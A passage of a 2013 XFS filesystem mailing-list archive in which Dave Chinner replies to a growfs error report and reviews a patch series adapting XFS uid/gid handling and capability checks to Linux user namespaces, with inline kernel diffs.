xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CE42C7F55 for ; Thu, 18 Jul 2013 22:37:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5E87EAC00E for ; Thu, 18 Jul 2013 20:37:21 -0700 (PDT) X-ASG-Debug-ID: 1374205038-04cb6c2a46ecb740001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 8tjgrDe6kUY4fUCQ for ; Thu, 18 Jul 2013 20:37:19 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AiwhAAGz6FF5LK4r/2dsb2JhbABAGoMGNYJtqh4CjlOFLwQBgRQXdIIkAQEEAScTHCMFCwgDGAklDwUlAzSICgUNM7YFFo5UCIEdBxaDZgOXXIEqiHmHK4MkKoEu Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 13:07:18 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V01VL-0003i2-BZ; Fri, 19 Jul 2013 13:37:15 +1000 Date: Fri, 19 Jul 2013 13:37:15 +1000 From: Dave Chinner To: Andreas.Klauer@metamorpher.de Cc: xfs@oss.sgi.com Subject: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning Message-ID: <20130719033715.GR11674@dastard> X-ASG-Orig-Subj: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning References: <20130718110437.GA8090@EIS> <20130718111306.GB13468@dastard> <20130718112938.GB8090@EIS> <20130718124511.GC13468@dastard> <20130718165103.Horde.2fnDfu2TMCHHT7990c6Vqw2@webmail.df.eu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130718165103.Horde.2fnDfu2TMCHHT7990c6Vqw2@webmail.df.eu> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374205038 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137179 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 BSF_SC0_SA085 Custom Rule SA085 On Thu, Jul 18, 2013 at 04:51:03PM +0200, Andreas.Klauer@metamorpher.de wrote: > Quoting Dave Chinner : > >Have you recently upgraded from an older kernel (i.e. older than 3.9)? > > Sorry, I think I missed this question. > > I update about once a month to latest stable from kernel.org. Ok, so the verifiers have been there for a while. Next question -when was the last time you tried to grow the filesystem? > 3.8.5 (April) -> 3.9.0 (May) -> 3.9.4 (June) -> 3.10.0 (July 1st) -> > 3.10.1 (July 15th) > > So no "older" kernels really. In case something really goes south I > have good backups... I happy to hear someone say that ;) As it is, can you do an XFS event trace trace when you attempt to grow the filesystem and send the output of the trace to me? See here: http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F for where to get trace-cmd and how to run it to gather the event trace. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 19 00:19:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CFE807F58 for ; Fri, 19 Jul 2013 00:19:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B24AE30404E for ; Thu, 18 Jul 2013 22:19:38 -0700 (PDT) X-ASG-Debug-ID: 1374211176-04cbb0469011787c0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 9ZHHFuYWx7COQrgf for ; Thu, 18 Jul 2013 22:19:37 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMNAN/L6FF5LK4r/2dsb2JhbABagwaDIrh2hS8EAYEVF3SCJAEBBTocIxAIAxgJJQ8FJQMhE4gPtjwWjlyBHQeDfAOXXIojhyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 14:49:36 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V036L-0003tB-Tn; Fri, 19 Jul 2013 15:19:33 +1000 Date: Fri, 19 Jul 2013 15:19:33 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v4 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Message-ID: <20130719051933.GS11674@dastard> X-ASG-Orig-Subj: Re: [PATCH v4 1/7] xfs: create wrappers for converting kuid_t to/from uid_t References: <20130717114714.256c828d@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130717114714.256c828d@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374211176 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137187 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 17, 2013 at 11:47:14AM -0400, Dwight Engen wrote: > Signed-off-by: Dwight Engen > --- > fs/xfs/xfs_linux.h | 26 ++++++++++++++++++++++++++ > 1 file changed, 26 insertions(+) > > diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h > index 800f896..761e4c0 100644 > --- a/fs/xfs/xfs_linux.h > +++ b/fs/xfs/xfs_linux.h > @@ -159,6 +159,32 @@ > #define MAX(a,b) (max(a,b)) > #define howmany(x, y) (((x)+((y)-1))/(y)) > > +/* Kernel uid/gid conversion. These are used to convert to/from the on disk > + * uid_t/gid_t types to the kuid_t/kgid_t types that the kernel uses internally. > + * The conversion here is type only, the value will remain the same since we > + * are converting to the init_user_ns. The uid is later mapped to a particular > + * user namespace value when crossing the kernel/user boundary. > + */ > +static inline __uint32_t xfs_kuid_to_uid(kuid_t uid) > +{ > + return from_kuid(&init_user_ns, uid); > +} > + > +static inline kuid_t xfs_uid_to_kuid(__uint32_t uid) > +{ > + return make_kuid(&init_user_ns, uid); > +} > + > +static inline __uint32_t xfs_kgid_to_gid(kgid_t gid) > +{ > + return from_kgid(&init_user_ns, gid); > +} > + > +static inline kgid_t xfs_gid_to_kgid(__uint32_t gid) > +{ > + return make_kgid(&init_user_ns, gid); > +} Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 19 00:20:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8C8737F58 for ; Fri, 19 Jul 2013 00:20:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 287D8AC010 for ; Thu, 18 Jul 2013 22:20:49 -0700 (PDT) X-ASG-Debug-ID: 1374211247-04cb6c2a41ed1940001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id GxkI4m3YC2nXRRmA for ; Thu, 18 Jul 2013 22:20:48 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMNAN/L6FF5LK4r/2dsb2JhbABagwaDIrh2hS8EAYEVF3SCJAEBBTocIxAIAxgJJQ8FJQMhE4gPtjwWjlyBHQeDfAOXXIojhyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 14:50:47 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V037W-0003tJ-9w; Fri, 19 Jul 2013 15:20:46 +1000 Date: Fri, 19 Jul 2013 15:20:46 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v4 2/7] xfs: convert kuid_t to/from uid_t in ACLs Message-ID: <20130719052046.GT11674@dastard> X-ASG-Orig-Subj: Re: [PATCH v4 2/7] xfs: convert kuid_t to/from uid_t in ACLs References: <20130717114720.1004da49@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130717114720.1004da49@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374211247 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137187 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 17, 2013 at 11:47:20AM -0400, Dwight Engen wrote: > Change permission check for setting ACL to use inode_owner_or_capable() > which will additionally allow a CAP_FOWNER user in a user namespace to > be able to set an ACL on an inode covered by the user namespace mapping. > > Signed-off-by: Dwight Engen Looks good. I can tell the conversions are correct just at a glance now :) Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 19 00:29:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CE04C7F5E for ; Fri, 19 Jul 2013 00:29:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4996DAC00E for ; Thu, 18 Jul 2013 22:29:24 -0700 (PDT) X-ASG-Debug-ID: 1374211761-04cb6c2a42ed20b0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id L0GjUqi4uLklXbuZ for ; Thu, 18 Jul 2013 22:29:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMNAC3O6FF5LK4r/2dsb2JhbABagwaDIrh2hS8EAYEVF3SCJAEBBScTHCMQCAMYCSUPBSUDIROID7Y8Fo5cgR0Hg3wDl1yRToFZgUsq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 14:59:21 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V03Fo-0003vP-DG; Fri, 19 Jul 2013 15:29:20 +1000 Date: Fri, 19 Jul 2013 15:29:20 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v4 3/7] xfs: ioctl check for capabilities in the current user namespace Message-ID: <20130719052920.GU11674@dastard> X-ASG-Orig-Subj: Re: [PATCH v4 3/7] xfs: ioctl check for capabilities in the current user namespace References: <20130717114727.23491330@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130717114727.23491330@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374211761 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137187 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 17, 2013 at 11:47:27AM -0400, Dwight Engen wrote: > Use inode_capable() to check if SUID|SGID bits should be cleared to match > similar check in inode_change_ok(). > > The check for CAP_LINUX_IMMUTABLE was not modified since all other file > systems also check against init_user_ns rather than current_user_ns. > > Signed-off-by: Dwight Engen > --- > fs/xfs/xfs_ioctl.c | 4 ++-- > kernel/capability.c | 1 + > 2 files changed, 3 insertions(+), 2 deletions(-) > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 6e2bca5..8edc780 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -981,7 +981,7 @@ xfs_ioctl_setattr( > * to the file owner ID, except in cases where the > * CAP_FSETID capability is applicable. > */ > - if (current_fsuid() != ip->i_d.di_uid && !capable(CAP_FOWNER)) { > + if (!inode_owner_or_capable(VFS_I(ip))) { > code = XFS_ERROR(EPERM); > goto error_return; > } > @@ -1103,7 +1103,7 @@ xfs_ioctl_setattr( > * cleared upon successful return from chown() > */ > if ((ip->i_d.di_mode & (S_ISUID|S_ISGID)) && > - !capable(CAP_FSETID)) > + !inode_capable(VFS_I(ip), CAP_FSETID)) > ip->i_d.di_mode &= ~(S_ISUID|S_ISGID); > > /* > diff --git a/kernel/capability.c b/kernel/capability.c > index f6c2ce5..a4b6744 100644 > --- a/kernel/capability.c > +++ b/kernel/capability.c > @@ -464,3 +464,4 @@ bool inode_capable(const struct inode *inode, int cap) > > return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid); > } > +EXPORT_SYMBOL(inode_capable); Looks good. I'm surprised that no-one else has needed this exported; there are several non-core !capable(CAP_FSETID) checks that are similar to this one that weren't converted to inode_capable() checks, yet the core inode_change_ok()/setattr_copy() code was... Regardless, Reviewed-by: Dave Chinner Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 19 00:35:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2C3A37F5E for ; Fri, 19 Jul 2013 00:35:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AD9B3AC001 for ; Thu, 18 Jul 2013 22:35:36 -0700 (PDT) X-ASG-Debug-ID: 1374212134-04cb6c2a46ed27c0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id pfRs5wRyt9YGxbqf for ; Thu, 18 Jul 2013 22:35:35 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMNAGPP6FF5LK4r/2dsb2JhbABagwaDIrh2hS8EAYEVF3SCJAEBBTocIxAIAxgJJQ8FJQMhE4gPtjwWjlyBHQeDfAOXXIojhyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:05:34 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V03Lo-0003xB-Di; Fri, 19 Jul 2013 15:35:32 +1000 Date: Fri, 19 Jul 2013 15:35:32 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v4 4/7] xfs: convert kuid_t to/from uid_t for internal structures Message-ID: <20130719053532.GV11674@dastard> X-ASG-Orig-Subj: Re: [PATCH v4 4/7] xfs: convert kuid_t to/from uid_t for internal structures References: <20130717114734.4d2ca6fb@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130717114734.4d2ca6fb@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374212134 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137187 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 17, 2013 at 11:47:34AM -0400, Dwight Engen wrote: > Use uint32 from init_user_ns for xfs internal uid/gid > representation in xfs_icdinode, xfs_dqid_t. > > Signed-off-by: Dwight Engen > --- > fs/xfs/xfs_inode.c | 6 +++--- > fs/xfs/xfs_iops.c | 38 ++++++++++++++++++++------------------ > fs/xfs/xfs_qm.c | 10 +++++----- > fs/xfs/xfs_quota.h | 11 ++++++----- > fs/xfs/xfs_symlink.c | 6 ++++-- > fs/xfs/xfs_vnodeops.c | 8 +++++--- > 6 files changed, 43 insertions(+), 36 deletions(-) Looks good. It's clear now that here is a difference between what is held in the VFS inode and the XFS inode core.... Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 19 00:46:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7E0367F62 for ; Fri, 19 Jul 2013 00:46:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5430A304039 for ; Thu, 18 Jul 2013 22:46:21 -0700 (PDT) X-ASG-Debug-ID: 1374212779-04cbb046911179fe0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id UOfsTt7xqs6cINKW for ; Thu, 18 Jul 2013 22:46:19 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMNALnR6FF5LK4r/2dsb2JhbABagwaDIrh2hS8EAYEVF3SCJAEBBScTHCMQCAMYCSUPBSUDIROID7YzFo5cgR0Hg3wDl1yKI4crgyQqgS4k Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:16:19 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V03WE-00040x-3j; Fri, 19 Jul 2013 15:46:18 +1000 Date: Fri, 19 Jul 2013 15:46:18 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v4 5/7] xfs: create internal eofblocks structure with kuid_t types Message-ID: <20130719054618.GW11674@dastard> X-ASG-Orig-Subj: Re: [PATCH v4 5/7] xfs: create internal eofblocks structure with kuid_t types References: <20130717114740.77f7bcee@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130717114740.77f7bcee@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374212779 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137187 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 17, 2013 at 11:47:40AM -0400, Dwight Engen wrote: > Have eofblocks ioctl convert uid_t to kuid_t into internal structure. > Update internal filter matching to compare ids with kuid_t types. > > Signed-off-by: Dwight Engen .... > > +static inline void > +xfs_fs_eofblocks_to_internal( > + struct xfs_fs_eofblocks *src, > + struct xfs_eofblocks *dst) I'd prefer that be named xfs_fs_eofblocks_from_user() to make it clear that we don't trust the contents of src at all... > +{ > + dst->eof_flags = src->eof_flags; > + dst->eof_prid = src->eof_prid; > + dst->eof_min_file_size = src->eof_min_file_size; > + dst->eof_uid = make_kuid(current_user_ns(), src->eof_uid); > + dst->eof_gid = make_kgid(current_user_ns(), src->eof_gid); > +} > + > #endif > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 8edc780..abbbdcf 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1610,7 +1610,8 @@ xfs_file_ioctl( > return -error; > > case XFS_IOC_FREE_EOFBLOCKS: { > - struct xfs_eofblocks eofb; > + struct xfs_fs_eofblocks eofb; > + struct xfs_eofblocks keofb; > > if (copy_from_user(&eofb, arg, sizeof(eofb))) > return -XFS_ERROR(EFAULT); > @@ -1625,7 +1626,17 @@ xfs_file_ioctl( > memchr_inv(eofb.pad64, 0, sizeof(eofb.pad64))) > return -XFS_ERROR(EINVAL); > > - error = xfs_icache_free_eofblocks(mp, &eofb); > + xfs_fs_eofblocks_to_internal(&eofb, &keofb); > + > + if (keofb.eof_flags & XFS_EOF_FLAGS_UID && > + !uid_valid(keofb.eof_uid)) > + return XFS_ERROR(EINVAL); > + > + if (keofb.eof_flags & XFS_EOF_FLAGS_GID && > + !gid_valid(keofb.eof_gid)) > + return XFS_ERROR(EINVAL); And I think these two checks should be in xfs_fs_eofblocks_from_user(), hence pushing all the conversion and validation of the user-supplied parameters into the one function. Also, we need to return negative errors from this function.... > + error = xfs_icache_free_eofblocks(mp, &keofb); > return -error; return -xfs_icache_free_eofblocks(mp, &keofb); Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 19 01:02:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1135529DF8 for ; Fri, 19 Jul 2013 01:02:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8ACCBAC001 for ; Thu, 18 Jul 2013 23:02:28 -0700 (PDT) X-ASG-Debug-ID: 1374213743-04cbb0468e117ae80001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id lLedaYwsntNHSxmq for ; Thu, 18 Jul 2013 23:02:23 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMNAETV6FF5LK4r/2dsb2JhbABagwaDIrh1hS8EAYEVF3SCJAEBBAEnExwjBQsIAxgJJQ8FJQMhE4gKBbY+Fo5cgR0Hg3wDl1yRToFZgUsq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:32:23 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V03ll-00045x-IN; Fri, 19 Jul 2013 16:02:21 +1000 Date: Fri, 19 Jul 2013 16:02:21 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes Message-ID: <20130719060221.GX11674@dastard> X-ASG-Orig-Subj: Re: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes References: <20130717114746.4e133042@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130717114746.4e133042@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374213743 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137189 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 17, 2013 at 11:47:46AM -0400, Dwight Engen wrote: > Signed-off-by: Dwight Engen What's the reason for this patch? > --- > fs/xfs/xfs_fs.h | 1 + > fs/xfs/xfs_icache.c | 4 ++++ > fs/xfs/xfs_ioctl.c | 2 ++ > 3 files changed, 7 insertions(+) > > diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h > index 7eb4a5e..aee4b12 100644 > --- a/fs/xfs/xfs_fs.h > +++ b/fs/xfs/xfs_fs.h > @@ -361,6 +361,7 @@ struct xfs_fs_eofblocks { > #define XFS_EOF_FLAGS_GID (1 << 2) /* filter by gid */ > #define XFS_EOF_FLAGS_PRID (1 << 3) /* filter by project id */ > #define XFS_EOF_FLAGS_MINFILESIZE (1 << 4) /* filter by min file size */ > +#define XFS_EOF_FLAGS_PERM_CHECK (1 << 5) /* check can write inode */ > #define XFS_EOF_FLAGS_VALID \ > (XFS_EOF_FLAGS_SYNC | \ > XFS_EOF_FLAGS_UID | \ > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > index d873ab9e..728283a 100644 > --- a/fs/xfs/xfs_icache.c > +++ b/fs/xfs/xfs_icache.c > @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( > if (!xfs_inode_match_id(ip, eofb)) > return 0; > > + if (eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK && > + inode_permission(VFS_I(ip), MAY_WRITE)) > + return 0; This assumes we are walking fully instantiated VFS inodes. That's not necessarily true - we may be walking inodes that have already been dropped from the VFS and are waiting for background reclaim to clean them up. I suspect that this doesn't need to be done - we normally stop background modification processes like this when we convert the filesystem to read-only. I suspect the eof-blocks scan code is missing that, and so it can potentially run on a RO filesystem. That needs fixing similar to the way we stop and start the periodic log work... Also, gcc should throw warnings on that code (strange, it didn't here on gcc-4.7) as it needs more parenthesis. i.e if 